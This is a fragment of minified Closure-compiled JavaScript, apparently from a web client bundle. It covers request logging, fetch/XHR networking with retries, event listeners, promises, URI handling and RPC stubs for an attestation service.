g.q.cL=function(){this.j.isFinal=!0;this.flush();this.j.isFinal=!1};
g.q.isRetryable=function(x){return 500<=x&&x<600||x===401||x===0};bx.prototype.send=function(x,T,t){var u=this,H,I,E,Z,e,l,m,d,M,A;return g.G(function(R){switch(R.C){case 1:return I=(H=u.dC?new AbortController:void 0)?setTimeout(function(){H.abort()},x.timeoutMillis):void 0,g.PX(R,2,3),E=Object.assign({},{method:x.requestType,
headers:Object.assign({},x.requestHeaders)},x.body&&{body:x.body},x.withCredentials&&{credentials:"include"},{signal:x.timeoutMillis&&H?H.signal:null}),g.v(R,fetch(x.url,E),5);case 5:Z=R.Z;if(Z.status!==200){(e=t)==null||e(Z.status);R.lG(3);break}if((l=T)==null){R.lG(7);break}return g.v(R,Z.text(),8);case 8:l(R.Z);case 7:case 3:g.UH(R);clearTimeout(I);g.b3(R,0);break;case 2:m=g.Yq(R);switch((d=m)==null?void 0:d.name){case "AbortError":(M=t)==null||M(408);break;default:(A=t)==null||A(400)}R.lG(3)}})};
bx.prototype.lS=function(){return 4};g.P(rv,g.W);rv.prototype.XN=function(){this.T=!0;return this};
rv.prototype.build=function(){this.network||(this.network=new bx);var x=new Um({logSource:this.logSource,Wl:this.Wl?this.Wl:Bnq,sessionIndex:this.sessionIndex,iKY:this.W7,rD:this.K,Zz:!1,XN:this.T,z6:this.z6,network:this.network});g.y(this,x);if(this.Z){var T=this.Z,t=PQ(x.j);d9(t,7,T)}x.N=new tq;this.componentId&&(x.componentId=this.componentId);this.M2&&(x.M2=this.M2);this.pageId&&(x.pageId=this.pageId);this.C&&((t=this.C)?(x.experimentIds||(x.experimentIds=new sA),T=x.experimentIds,t=t.vM(),d9(T,
4,t)):x.experimentIds&&WB(x.experimentIds,4));this.j&&(x.Hv=x.S);eG3(x.j);this.network.x_&&this.network.x_(this.logSource);this.network.WTW&&this.network.WTW(x);return x};g.P(zA,g.W);zA.prototype.flush=function(x){x=x||[];if(x.length){for(var T=new H7J,t=[],u=0;u<x.length;u++){var H=x[u],I=g.EZJ(H);t.push(I);H.clear()}EB(T,AG,1,t);this.C.dispatch(T);this.C.flush()}};g.q=kU.prototype;g.q.lx=function(x){var T=g.FD.apply(1,arguments),t=this.ph(T);t?t.push(new rZD(x)):this.dZ(x,T)};
g.q.dZ=function(x){this.C.set(this.fV(g.FD.apply(1,arguments)),[new rZD(x)])};
g.q.ph=function(){var x=this.fV(g.FD.apply(0,arguments));return this.C.has(x)?this.C.get(x):void 0};
g.q.lm=function(){var x=this.ph(g.FD.apply(0,arguments));return x&&x.length?x[0]:void 0};
g.q.clear=function(){this.C.clear()};
g.q.fV=function(){var x=g.FD.apply(0,arguments);return x?x.join(","):"key"};g.P(F9,kU);F9.prototype.j=function(x){var T=g.FD.apply(1,arguments),t=0,u=this.lm(T);u&&(t=u.C);this.dZ(t+x,T)};g.P(hn,kU);hn.prototype.XA=function(x){this.lx(x,g.FD.apply(1,arguments))};g.vQ.prototype.stopPropagation=function(){this.Z=!0};
g.vQ.prototype.preventDefault=function(){this.defaultPrevented=!0};g.TV(Ve,g.vQ);
Ve.prototype.init=function(x,T){var t=this.type=x.type,u=x.changedTouches&&x.changedTouches.length?x.changedTouches[0]:null;this.target=x.target||x.srcElement;this.currentTarget=T;T=x.relatedTarget;T||(t=="mouseover"?T=x.fromElement:t=="mouseout"&&(T=x.toElement));this.relatedTarget=T;u?(this.clientX=u.clientX!==void 0?u.clientX:u.pageX,this.clientY=u.clientY!==void 0?u.clientY:u.pageY,this.screenX=u.screenX||0,this.screenY=u.screenY||0):(this.clientX=x.clientX!==void 0?x.clientX:x.pageX,this.clientY=
x.clientY!==void 0?x.clientY:x.pageY,this.screenX=x.screenX||0,this.screenY=x.screenY||0);this.button=x.button;this.keyCode=x.keyCode||0;this.key=x.key||"";this.charCode=x.charCode||(t=="keypress"?x.keyCode:0);this.ctrlKey=x.ctrlKey;this.altKey=x.altKey;this.shiftKey=x.shiftKey;this.metaKey=x.metaKey;this.pointerId=x.pointerId||0;this.pointerType=x.pointerType;this.state=x.state;this.C=x;x.defaultPrevented&&Ve.uq.preventDefault.call(this)};
Ve.prototype.stopPropagation=function(){Ve.uq.stopPropagation.call(this);this.C.stopPropagation?this.C.stopPropagation():this.C.cancelBubble=!0};
Ve.prototype.preventDefault=function(){Ve.uq.preventDefault.call(this);var x=this.C;x.preventDefault?x.preventDefault():x.returnValue=!1};var zGX="closure_listenable_"+(Math.random()*1E6|0);var k5X=0;g.q=nz.prototype;g.q.add=function(x,T,t,u,H){var I=x.toString();x=this.listeners[I];x||(x=this.listeners[I]=[],this.C++);var E=gv(x,T,u,H);E>-1?(T=x[E],t||(T.d8=!1)):(T=new Fv3(T,this.src,I,!!u,H),T.d8=t,x.push(T));return T};
g.q.remove=function(x,T,t,u){x=x.toString();if(!(x in this.listeners))return!1;var H=this.listeners[x];T=gv(H,T,t,u);return T>-1?(Lz(H[T]),g.KC(H,T),H.length==0&&(delete this.listeners[x],this.C--),!0):!1};
g.q.removeAll=function(x){x=x&&x.toString();var T=0,t;for(t in this.listeners)if(!x||t==x){for(var u=this.listeners[t],H=0;H<u.length;H++)++T,Lz(u[H]);delete this.listeners[t];this.C--}return T};
g.q.eN=function(x,T,t,u){x=this.listeners[x.toString()];var H=-1;x&&(H=gv(x,T,t,u));return H>-1?x[H]:null};
g.q.hasListener=function(x,T){var t=x!==void 0,u=t?x.toString():"",H=T!==void 0;return g.PR(this.listeners,function(I){for(var E=0;E<I.length;++E)if(!(t&&I[E].type!=u||H&&I[E].capture!=T))return!0;return!1})};var Qe="closure_lm_"+(Math.random()*1E6|0),Om={},Lvv=0,fz="__closure_events_fn_"+(Math.random()*1E9>>>0);g.TV(g.wv,g.W);g.wv.prototype[zGX]=!0;g.q=g.wv.prototype;g.q.addEventListener=function(x,T,t,u){g.WQ(this,x,T,t,u)};
g.q.removeEventListener=function(x,T,t,u){aIX(this,x,T,t,u)};
g.q.dispatchEvent=function(x){var T=this.HG;if(T){var t=[];for(var u=1;T;T=T.HG)t.push(T),++u}T=this.LZ;u=x.type||x;if(typeof x==="string")x=new g.vQ(x,T);else if(x instanceof g.vQ)x.target=x.target||T;else{var H=x;x=new g.vQ(u,T);g.V9(x,H)}H=!0;var I;if(t)for(I=t.length-1;!x.Z&&I>=0;I--){var E=x.currentTarget=t[I];H=Kz(E,u,!0,x)&&H}x.Z||(E=x.currentTarget=T,H=Kz(E,u,!0,x)&&H,x.Z||(H=Kz(E,u,!1,x)&&H));if(t)for(I=0;!x.Z&&I<t.length;I++)E=x.currentTarget=t[I],H=Kz(E,u,!1,x)&&H;return H};
g.q.oU=function(){g.wv.uq.oU.call(this);this.TM&&this.TM.removeAll(void 0);this.HG=null};
g.q.listen=function(x,T,t,u){return this.TM.add(String(x),T,!1,t,u)};
g.q.mx=function(x,T,t,u){return this.TM.add(String(x),T,!0,t,u)};
g.q.f2=function(x,T,t,u){this.TM.remove(String(x),T,t,u)};
g.q.eN=function(x,T,t,u){return this.TM.eN(String(x),T,t,u)};
g.q.hasListener=function(x,T){return this.TM.hasListener(x!==void 0?String(x):void 0,T)};var Tl=typeof AsyncContext!=="undefined"&&typeof AsyncContext.Snapshot==="function"?function(x){return x&&AsyncContext.Snapshot.wrap(x)}:function(x){return x};x5.prototype.get=function(){if(this.Z>0){this.Z--;var x=this.C;this.C=x.next;x.next=null}else x=this.j();return x};var oZ;se.prototype.add=function(x,T){var t=N9V.get();t.set(x,T);this.Z?this.Z.next=t:this.C=t;this.Z=t};
se.prototype.remove=function(){var x=null;this.C&&(x=this.C,this.C=this.C.next,this.C||(this.Z=null),x.next=null);return x};
var N9V=new x5(function(){return new uf},function(x){return x.reset()});
uf.prototype.set=function(x,T){this.C=x;this.scope=T;this.next=null};
uf.prototype.reset=function(){this.next=this.scope=this.C=null};var $5,Hd=!1,DQv=new se;Qgf.prototype.reset=function(){this.context=this.Z=this.j=this.C=null;this.K=!1};
var pPJ=new x5(function(){return new Qgf},function(x){x.reset()});
g.lf.prototype.then=function(x,T,t){return uq4(this,Tl(typeof x==="function"?x:null),Tl(typeof T==="function"?T:null),t)};
g.lf.prototype.$goog_Thenable=!0;g.q=g.lf.prototype;g.q.finally=function(x){var T=this;x=Tl(x);return new Promise(function(t,u){xXV(T,function(H){x();t(H)},function(H){x();
u(H)})})};
g.q.p_=function(x,T){return uq4(this,null,Tl(x),T)};
g.q.catch=g.lf.prototype.p_;g.q.cancel=function(x){if(this.C==0){var T=new Pd(x);g.IZ(function(){TEq(this,T)},this)}};
g.q.YoU=function(x){this.C=0;eL(this,2,x)};
g.q.JpY=function(x){this.C=0;eL(this,3,x)};
g.q.mP=function(){for(var x;x=oNf(this);)t73(this,x,this.C,this.N);this.D=!1};
var IZi=RP;g.TV(Pd,M9);Pd.prototype.name="cancel";g.TV(g.SL,g.wv);g.q=g.SL.prototype;g.q.enabled=!1;g.q.eg=null;g.q.setInterval=function(x){this.KU=x;this.eg&&this.enabled?(this.stop(),this.start()):this.eg&&this.stop()};
g.q.f$y=function(){if(this.enabled){var x=g.x9()-this.PN;x>0&&x<this.KU*.8?this.eg=this.Y_.setTimeout(this.xF,this.KU-x):(this.eg&&(this.Y_.clearTimeout(this.eg),this.eg=null),this.dispatchEvent("tick"),this.enabled&&(this.stop(),this.start()))}};
g.q.start=function(){this.enabled=!0;this.eg||(this.eg=this.Y_.setTimeout(this.xF,this.KU),this.PN=g.x9())};
g.q.stop=function(){this.enabled=!1;this.eg&&(this.Y_.clearTimeout(this.eg),this.eg=null)};
g.q.oU=function(){g.SL.uq.oU.call(this);this.stop();delete this.Y_};g.P(g.Ue,g.W);g.q=g.Ue.prototype;g.q.sendIsolatedPayload=function(x){this.T=x;this.j=1};
g.q.rh=function(){var x=this.Z.values();x=[].concat(g.U(x)).filter(function(T){return T.C.size});
x.length&&this.N.flush(x,this.T);Zd5(x);this.K=0;this.C.enabled&&this.C.stop()};
g.q.Bh=function(x){var T=g.FD.apply(1,arguments);this.Z.has(x)||this.Z.set(x,new F9(x,T))};
g.q.UT=function(x){var T=g.FD.apply(1,arguments);this.Z.has(x)||this.Z.set(x,new hn(x,T))};
g.q.ly=function(x){this.G0(x,1,g.FD.apply(1,arguments))};
g.q.G0=function(x,T){var t=g.FD.apply(2,arguments),u=qbV(this,x);u&&u instanceof F9&&(u.j(T,t),EN3(this))};
g.q.XA=function(x,T){var t=g.FD.apply(2,arguments),u=qbV(this,x);u&&u instanceof hn&&(u.XA(T,t),EN3(this))};g.P(bf,Error);bf.prototype.toString=function(){var x="RpcError("+(ZIX(this.code)||String(this.code))+")";this.message&&(x+=": "+this.message);return x};jLJ.prototype.vM=function(x){var T=[];zl(this,x,T);return T.join("")};
var mgD={'"':'\\"',"\\":"\\\\","/":"\\/","\b":"\\b","\f":"\\f","\n":"\\n","\r":"\\r","\t":"\\t","\v":"\\u000b"},l3q=/\uffff/.test("\uffff")?/[\\"\x00-\x1f\x7f-\uffff]/g:/[\\"\x00-\x1f\x7f-\xff]/g;var N5P;g.TV(k5,Mov);k5.prototype.C=function(){return new XMLHttpRequest};
N5P=new k5;var Gl=RegExp("^(?:([^:/?#.]+):)?(?://(?:([^\\\\/?#]*)@)?([^\\\\/?#]*?)(?::([0-9]+))?(?=[\\\\/?#]|$))?([^?#]+)?(?:\\?([^#]*))?(?:#([\\s\\S]*))?$"),YAC=/#|$/,Ugq=/[?&]($|#)/;g.TV(g.pq,g.wv);var vOq=/^https?$/i,JfV=["POST","PUT"],rqX=[];g.q=g.pq.prototype;g.q.Ac=function(){this.dispose();g.XF(rqX,this)};
g.q.send=function(x,T,t,u){if(this.C)throw Error("[goog.net.XhrIo] Object is active with another request="+this.J+"; newUri="+x);T=T?T.toUpperCase():"GET";this.J=x;this.K="";this.Z=0;this.jY=!1;this.j=!0;this.C=this.Om?this.Om.C():N5P.C();this.C.onreadystatechange=Tl((0,g.K4)(this.g1,this));try{this.getStatus(),this.uG=!0,this.C.open(T,String(x),!0),this.uG=!1}catch(E){this.getStatus();FKV(this,E);return}x=t||"";t=new Map(this.headers);if(u)if(Object.getPrototypeOf(u)===Object.prototype)for(var H in u)t.set(H,
u[H]);else if(typeof u.keys==="function"&&typeof u.get==="function"){H=g.S(u.keys());for(var I=H.next();!I.done;I=H.next())I=I.value,t.set(I,u.get(I))}else throw Error("Unknown input type for opt_headers: "+String(u));u=Array.from(t.keys()).find(function(E){return"content-type"==E.toLowerCase()});
H=g.BX.FormData&&x instanceof g.BX.FormData;!g.wy(JfV,T)||u||H||t.set("Content-Type","application/x-www-form-urlencoded;charset=utf-8");T=g.S(t);for(u=T.next();!u.done;u=T.next())t=g.S(u.value),u=t.next().value,t=t.next().value,this.C.setRequestHeader(u,t);this.Hv&&(this.C.responseType=this.Hv);"withCredentials"in this.C&&this.C.withCredentials!==this.N&&(this.C.withCredentials=this.N);try{this.D&&(clearTimeout(this.D),this.D=null),this.ZZ>0&&(this.getStatus(),this.D=setTimeout(this.wq.bind(this),
this.ZZ)),this.getStatus(),this.S=!0,this.C.send(x),this.S=!1}catch(E){this.getStatus(),FKV(this,E)}};
g.q.wq=function(){typeof fq!="undefined"&&this.C&&(this.K="Timed out after "+this.ZZ+"ms, aborting",this.Z=8,this.getStatus(),this.dispatchEvent("timeout"),this.abort(8))};
g.q.abort=function(x){this.C&&this.j&&(this.getStatus(),this.j=!1,this.T=!0,this.C.abort(),this.T=!1,this.Z=x||7,this.dispatchEvent("complete"),this.dispatchEvent("abort"),Oe(this))};
g.q.oU=function(){this.C&&(this.j&&(this.j=!1,this.T=!0,this.C.abort(),this.T=!1),Oe(this,!0));g.pq.uq.oU.call(this)};
g.q.g1=function(){this.T9()||(this.uG||this.S||this.T?hK5(this):this.UIv())};
g.q.UIv=function(){hK5(this)};
g.q.isActive=function(){return!!this.C};
g.q.isComplete=function(){return g.wd(this)==4};
g.q.getStatus=function(){try{return g.wd(this)>2?this.C.status:-1}catch(x){return-1}};
g.q.getResponseHeader=function(x){if(this.C&&this.isComplete())return x=this.C.getResponseHeader(x),x===null?void 0:x};
g.q.getLastError=function(){return typeof this.K==="string"?this.K:String(this.K)};oA.prototype.send=function(x,T,t){T=T===void 0?function(){}:T;
t=t===void 0?function(){}:t;
zKi(x.url,function(u){u=u.target;Kq(u)?T(g.XH(u)):t(u.getStatus())},x.requestType,x.body,x.requestHeaders,x.timeoutMillis,x.withCredentials)};
oA.prototype.lS=function(){return 1};sW.prototype.done=function(){this.logger.Wx(this.event,t5()-this.startTime)};
g.P(u7,Zd);g.P(HO,u7);g.q=HO.prototype;g.q.e2=function(){};
g.q.Sa=function(){};
g.q.Wx=function(){};
g.q.o4=function(){};
g.q.ZI=function(){};
g.q.Rj=function(x,T,t){return t};
g.q.Ly=function(){};
g.q.Ky=function(){};
g.q.zz=function(){};
g.q.iZ=function(){};
g.P(i7,u7);g.q=i7.prototype;g.q.update=function(x){this.logger.dispose();this.logger=x};
g.q.Sa=function(x){this.logger.Sa(x)};
g.q.Wx=function(x,T){this.logger.Wx(x,T)};
g.q.o4=function(x){this.logger.o4(x)};
g.q.ZI=function(){this.logger.ZI()};
g.q.Rj=function(x,T,t){return this.logger.Rj(x,T,t)};
g.q.Ly=function(x){this.logger.Ly(x)};
g.q.Ky=function(x){this.logger.Ky(x)};
g.q.zz=function(x){this.logger.zz(x)};
g.q.iZ=function(x){this.logger.iZ(x)};
g.q.r0=function(x){this.logger instanceof qq&&this.logger.r0(x)};
g.q.e2=function(x){this.logger.e2(x)};
g.P(IA,g.W);g.P(EW,u7);g.q=EW.prototype;g.q.r0=function(x){this.C_=x};
g.q.e2=function(x){this.metrics.jTu.XA(x,this.Nm)};
g.q.Sa=function(x){this.metrics.eventCount.C(x,this.Nm)};
g.q.Wx=function(x,T){this.metrics.t3.XA(T,x,this.C_,this.Nm)};
g.q.o4=function(x){this.metrics.errorCount.C(x,this.C_,this.Nm)};
g.q.Rj=function(x,T,t){function u(E){if(!H.T9()){var Z=t5()-I;H.metrics.oLU.XA(Z,x,T,E,H.C_,H.Nm)}}
var H=this,I=t5();t.then(function(){u(0)},function(E){E instanceof bf?u(E.code):u(-1)});
return t};
g.q.Ly=function(x){this.metrics.LsW.C(x,this.C_,this.Nm)};
g.q.Ky=function(x){this.metrics.nZ.C(x,this.C_,this.Nm)};
g.q.zz=function(x){this.metrics.zWZ.C(x,this.C_,this.Nm)};
g.P(qq,EW);qq.prototype.iZ=function(x){var T=this;this.C.dispose();this.Z&&this.service.dispose();this.service=this.options.eB("46",this.options.b6.concat(x));this.C=new IA(function(){return void T.service.rh()},this.options.dl);
this.metrics=G0J(this.service);this.j=x};
qq.prototype.ZI=function(){nOv(this.C)};g.P(ZM,ag);g.P(j9,ag);g.P(e9,ag);var C3y=lW(e9),gOV=function(x){return pA(function(T){return T instanceof x&&!((T.Ue[VE]|0)&2)})}(e9);
e9.messageId="bfkj";g.P(HE,ag);g.P(l7,ag);var Bg5=lW(l7);g.P(da,g.W);da.prototype.snapshot=function(x){if(this.T9())throw Error("Already disposed");this.logger.Sa("n");var T=this.logger.share();return this.j.then(function(t){var u=t.Tr;return new Promise(function(H){var I=new sW(T,"n");u(function(E){I.done();T.e2(E.length);T.ZI();T.dispose();H(E)},[x.Ek,
x.F2,x.qP,x.Az])})})};
da.prototype.Vk=function(x){var T=this;if(this.T9())throw Error("Already disposed");this.logger.Sa("n");var t=$F(this.logger,function(){return T.K([x.Ek,x.F2,x.qP,x.Az])},"n");
this.logger.e2(t.length);this.logger.ZI();return t};
da.prototype.h1=function(x){this.j.then(function(T){var t;(t=T.R4j)==null||t(x)})};
da.prototype.TR=function(){return this.logger.share()};g.P(PO,ag);g.P(S9,ag);cO.prototype.Dz=function(x,T){var t=this,u,H,I,E,Z;return g.G(function(e){if(e.C==1){var l=new PO;u=MQ(l,1,t.St);x&&MQ(u,2,x);T&&MQ(u,3,T);H=t.C();return g.v(e,t.client.create(u,H),2)}I=e.Z;E=zq(Od(I,2));if(E.length){l=e.return;var m=new Uint8Array(E.length);for(var d=0;d<E.length;d++)m[d]=E[d]+97;if(g.BX.TextDecoder)m=(new TextDecoder).decode(m);else if(m.length<=8192)m=String.fromCharCode.apply(null,m);else{d="";for(var M=0;M<m.length;M+=8192)d+=String.fromCharCode.apply(null,Array.prototype.slice.call(m,
M,M+8192));m=d}m=C3y(m);return l.call(e,m)}Z=HP(I,e9,1);if(!Z)throw Error("Missing field");return e.return(Z)})};
cO.prototype.m7=function(x){var T=this,t,u;return g.G(function(H){t=T.C();var I=new S9;I=MQ(I,1,T.St);u=MQ(I,2,x);I=H.return;var E=T.client;E=XQ3(E.C,E.Z+"/$rpc/google.internal.waa.v1.Waa/GenerateIT",u,t||{},QVF);return I.call(H,E)})};g.P(YF,g.W);YF.prototype.snapshot=function(x){var T=this;return g.G(function(t){switch(t.C){case 1:if(T.T9())throw Error("Already disposed");if(T.Z||T.N){t.lG(2);break}return g.v(t,T.T.promise,2);case 2:if(!T.Z){t.lG(4);break}return g.v(t,T.Z.snapshot(x),5);case 5:return t.return(t.Z);case 4:throw T.N;}})};
YF.prototype.h1=function(x){var T,t;(T=this.Z)==null||(t=T.h1)==null||t.call(T,x)};
YF.prototype.handleError=function(x){if(!this.T9()){this.N=x;this.T.resolve();var T,t;(t=(T=this.options).QuU)==null||t.call(T,x)}};
YF.prototype.TR=function(){return this.logger.share()};
var QLf={Eg9:432E5,YH:3E5,vQ:10,Wz:1E4,C9:3E4,CNG:3E4,S0m:6E4,Ve:1E3,s2:6E4,Y0:6E5,J3:.25,wI:2,maxAttempts:10};var pXy,oUJ=(pXy=Math.imul)!=null?pXy:function(x,T){return x*T|0},kF=[196,
200,224,18];Fl.prototype.vM=function(){return String(this.C)+","+this.Z.join()};
Fl.prototype.pK=function(x,T){var t=void 0;if(this.Z[this.C]!==x){var u=this.Z.indexOf(x);u!==-1?(this.Z.splice(u,1),u<this.C&&this.C--,this.Z.splice(this.C,0,x)):(t=this.Z[this.C],this.Z[this.C]=x)}this.C=(this.C+1)%this.maxItems;x=Tv3("iU5q-!O9@$",this.vM());t&&x&&T(t);return x};var j03={toString:function(x){var T=[],t=0;x-=-2147483648;T[t++]="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ".charAt(x%52);for(x=Math.floor(x/52);x>0;)T[t++]="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789".charAt(x%62),x=Math.floor(x/62);return T.join("")}};var lYD;g.P(vO,g.W);vO.prototype.N_=function(x,T){var t=this.Fw(x);T==null||T(t);return $F(this.logger,function(){return g.Am(t,2)},this.j)};
lYD=Symbol.dispose;g.P(Lk,vO);Lk.prototype.Fw=function(x,T){var t=this;this.logger.Sa(this.C);++this.T>=this.D&&this.Z.resolve();var u=x();x=$F(this.logger,function(){return t.K(u)},"C");
if(x===void 0)throw new ub(17,"YNJ:Undefined");if(!(x instanceof Uint8Array))throw new ub(18,"ODM:Invalid");T==null||T(x);return x};
g.P(aA,vO);aA.prototype.Fw=function(){return this.K};
g.P(BO,vO);BO.prototype.Fw=function(){var x=this;return $F(this.logger,function(){return PI(x.K)},"d")};
BO.prototype.N_=function(){return this.K};
g.P(WO,vO);WO.prototype.Fw=function(){if(this.K)return this.K;this.K=mLq(this,function(x){return"_"+ecJ(x)});
return mLq(this,function(x){return x})};
g.P(y7,vO);y7.prototype.Fw=function(x){var T=x();if(T.length>118)throw new ub(19,"DFO:Invalid");x=Math.floor(Date.now()/1E3);var t=[Math.random()*255,Math.random()*255],u=t.concat([this.K&255,this.clientState],[x>>24&255,x>>16&255,x>>8&255,x&255]);x=new Uint8Array(2+u.length+T.length);x[0]=34;x[1]=u.length+T.length;x.set(u,2);x.set(T,2+u.length);T=x.subarray(2);for(u=t=t.length;u<T.length;++u)T[u]^=T[u%t];this.logger.Ly(this.clientState);return x};var Smv={EM:3E4,KvG:2E4};g.P(Nq,g.W);Nq.prototype.jp=function(x){if(!(x>150))try{this.cache=new IYf(x,this.logger)}catch(T){this.reportError(new ub(22,"GBJ:init",T))}};
Nq.prototype.reportError=function(x){this.logger.o4(x.code);this.onError(x);return x};
g.P(pk,Nq);pk.prototype.FG=function(){return this.K.promise};
pk.prototype.Fw=function(x){return J5(this,Object.assign({},x),!1)};
pk.prototype.N_=function(x){return J5(this,Object.assign({},x),!0)};
var cnq=function(x){return pA(function(T){if(!Ia(T))return!1;for(var t=g.S(Object.entries(x)),u=t.next();!u.done;u=t.next()){var H=g.S(u.value);u=H.next().value;H=H.next().value;if(!(u in T)){if(H.yHy===!0)continue;return!1}if(!H(T[u]))return!1}return!0})}({KF:function(x){return pA(function(T){return T instanceof x})}(YF)},"");g.P(fk,ag);var O4P=lW(fk);bz4.prototype.getMetadata=function(){return this.metadata};wa.prototype.getMetadata=function(){return this.metadata};
wa.prototype.getStatus=function(){return this.status};Kk.prototype.N=function(x,T){T=T===void 0?{}:T;return new bz4(x,this,T)};
Kk.prototype.getName=function(){return this.name};var fCh=new Kk("/google.internal.waa.v1.Waa/Create",PO,fk,function(x){return x.vM()},O4P);g.P(Xl,ag);var QVF=new Kk("/google.internal.waa.v1.Waa/GenerateIT",S9,Xl,function(x){return x.vM()},lW(Xl));var tL3=new Set(["SAPISIDHASH","APISIDHASH"]);var fYD=Promise;g.P(xL,ag);xL.prototype.getValue=function(){var x=gn(this,2);if(Array.isArray(x)||x instanceof ag)throw Error("Cannot access the Any.value field on Any protos encoded using the jspb format, call unpackJspb instead");return Od(this,2)};g.P(T2,ag);T2.prototype.getMessage=function(){return eg(this,2)};
var vUC=lW(T2);oC.prototype.s_=function(x,T){x=="data"?this.j.push(T):x=="metadata"?this.T.push(T):x=="status"?this.D.push(T):x=="end"?this.K.push(T):x=="error"&&this.Z.push(T);return this};
oC.prototype.removeListener=function(x,T){x=="data"?HL(this.j,T):x=="metadata"?HL(this.T,T):x=="status"?HL(this.D,T):x=="end"?HL(this.K,T):x=="error"&&HL(this.Z,T);return this};
oC.prototype.cancel=function(){this.C.abort()};
oC.prototype.cancel=oC.prototype.cancel;oC.prototype.removeListener=oC.prototype.removeListener;oC.prototype.on=oC.prototype.s_;g.P(zcv,Error);g.TV(g.i6,Mov);g.i6.prototype.C=function(){var x=new IC(this.K,this.j);this.Z&&x.setCredentialsMode(this.Z);return x};
g.i6.prototype.setCredentialsMode=function(x){this.Z=x};
g.TV(IC,g.wv);g.q=IC.prototype;g.q.open=function(x,T){if(this.readyState!=0)throw this.abort(),Error("Error reopening a connection");this.ZZ=x;this.S=T;this.readyState=1;Ep(this)};
g.q.send=function(x){if(this.readyState!=1)throw this.abort(),Error("need to call open() first. ");this.C=!0;var T={headers:this.J,method:this.ZZ,credentials:this.T,cache:void 0};x&&(T.body=x);(this.jY||g.BX).fetch(new Request(this.S,T)).then(this.PGG.bind(this),this.Mx.bind(this))};
g.q.abort=function(){this.response=this.responseText="";this.J=new Headers;this.status=0;this.j&&this.j.cancel("Request was aborted.").catch(function(){});
this.readyState>=1&&this.C&&this.readyState!=4&&(this.C=!1,q6(this));this.readyState=0};
g.q.PGG=function(x){if(this.C&&(this.K=x,this.Z||(this.status=this.K.status,this.statusText=this.K.statusText,this.Z=x.headers,this.readyState=2,Ep(this)),this.C&&(this.readyState=3,Ep(this),this.C)))if(this.responseType==="arraybuffer")x.arrayBuffer().then(this.uWy.bind(this),this.Mx.bind(this));else if(typeof g.BX.ReadableStream!=="undefined"&&"body"in x){this.j=x.body.getReader();if(this.D){if(this.responseType)throw Error('responseType must be empty for "streamBinaryChunks" mode responses.');
this.response=[]}else this.response=this.responseText="",this.N=new TextDecoder;VM3(this)}else x.text().then(this.xjU.bind(this),this.Mx.bind(this))};
g.q.Ec7=function(x){if(this.C){if(this.D&&x.value)this.response.push(x.value);else if(!this.D){var T=x.value?x.value:new Uint8Array(0);if(T=this.N.decode(T,{stream:!x.done}))this.response=this.responseText+=T}x.done?q6(this):Ep(this);this.readyState==3&&VM3(this)}};
g.q.xjU=function(x){this.C&&(this.response=this.responseText=x,q6(this))};
g.q.uWy=function(x){this.C&&(this.response=x,q6(this))};
g.q.Mx=function(){this.C&&q6(this)};
g.q.setRequestHeader=function(x,T){this.J.append(x,T)};
g.q.getResponseHeader=function(x){return this.Z?this.Z.get(x.toLowerCase())||"":""};
g.q.getAllResponseHeaders=function(){if(!this.Z)return"";for(var x=[],T=this.Z.entries(),t=T.next();!t.done;)t=t.value,x.push(t[0]+": "+t[1]),t=T.next();return x.join("\r\n")};
g.q.setCredentialsMode=function(x){this.T=x};
Object.defineProperty(IC.prototype,"withCredentials",{get:function(){return this.T==="include"},
set:function(x){this.setCredentialsMode(x?"include":"same-origin")}});g.Zr.prototype.toString=function(){var x=[],T=this.T;T&&x.push(AK(T,wXb,!0),":");var t=this.C;if(t||T=="file")x.push("//"),(T=this.J)&&x.push(AK(T,wXb,!0),"@"),x.push(g.Ob(t).replace(/%25([0-9a-fA-F]{2})/g,"%$1")),t=this.j,t!=null&&x.push(":",String(t));if(t=this.Z)this.C&&t.charAt(0)!="/"&&x.push("/"),x.push(AK(t,t.charAt(0)=="/"?K30:XXF,!0));(t=this.K.toString())&&x.push("?",t);(t=this.D)&&x.push("#",AK(t,x93));return x.join("")};
g.Zr.prototype.resolve=function(x){var T=this.clone(),t=!!x.T;t?g.j3(T,x.T):t=!!x.J;t?T.J=x.J:t=!!x.C;t?g.e3(T,x.C):t=x.j!=null;var u=x.Z;if(t)g.l6(T,x.j);else if(t=!!x.Z){if(u.charAt(0)!="/")if(this.C&&!this.Z)u="/"+u;else{var H=T.Z.lastIndexOf("/");H!=-1&&(u=T.Z.slice(0,H+1)+u)}H=u;if(H==".."||H==".")u="";else if(g.Uh(H,"./")||g.Uh(H,"/.")){u=cE(H,"/");H=H.split("/");for(var I=[],E=0;E<H.length;){var Z=H[E++];Z=="."?u&&E==H.length&&I.push(""):Z==".."?((I.length>1||I.length==1&&I[0]!="")&&I.pop(),
u&&E==H.length&&I.push("")):(I.push(Z),u=!0)}u=I.join("/")}else u=H}t?T.Z=u:t=x.K.toString()!=="";t?ml(T,x.K.clone()):t=!!x.D;t&&(T.D=x.D);return T};
g.Zr.prototype.clone=function(){return new g.Zr(this)};
var wXb=/[#\/\?@]/g,XXF=/[#\?:]/g,K30=/[#\?]/g,L7f=/[#\?@]/g,x93=/#/g;g.q=M6.prototype;g.q.add=function(x,T){S3(this);this.j=null;x=cL(this,x);var t=this.C.get(x);t||this.C.set(x,t=[]);t.push(T);this.Z=this.Z+1;return this};
g.q.remove=function(x){S3(this);x=cL(this,x);return this.C.has(x)?(this.j=null,this.Z=this.Z-this.C.get(x).length,this.C.delete(x)):!1};
g.q.clear=function(){this.C=this.j=null;this.Z=0};
g.q.isEmpty=function(){S3(this);return this.Z==0};
g.q.forEach=function(x,T){S3(this);this.C.forEach(function(t,u){t.forEach(function(H){x.call(T,H,u,this)},this)},this)};
g.q.iy=function(){S3(this);for(var x=Array.from(this.C.values()),T=Array.from(this.C.keys()),t=[],u=0;u<T.length;u++)for(var H=x[u],I=0;I<H.length;I++)t.push(T[u]);return t};
g.q.FF=function(x){S3(this);var T=[];if(typeof x==="string")aY3(this,x)&&(T=T.concat(this.C.get(cL(this,x))));else{x=Array.from(this.C.values());for(var t=0;t<x.length;t++)T=T.concat(x[t])}return T};
g.q.set=function(x,T){S3(this);this.j=null;x=cL(this,x);aY3(this,x)&&(this.Z=this.Z-this.C.get(x).length);this.C.set(x,[T]);this.Z=this.Z+1;return this};
g.q.get=function(x,T){if(!x)return T;x=this.FF(x);return x.length>0?String(x[0]):T};
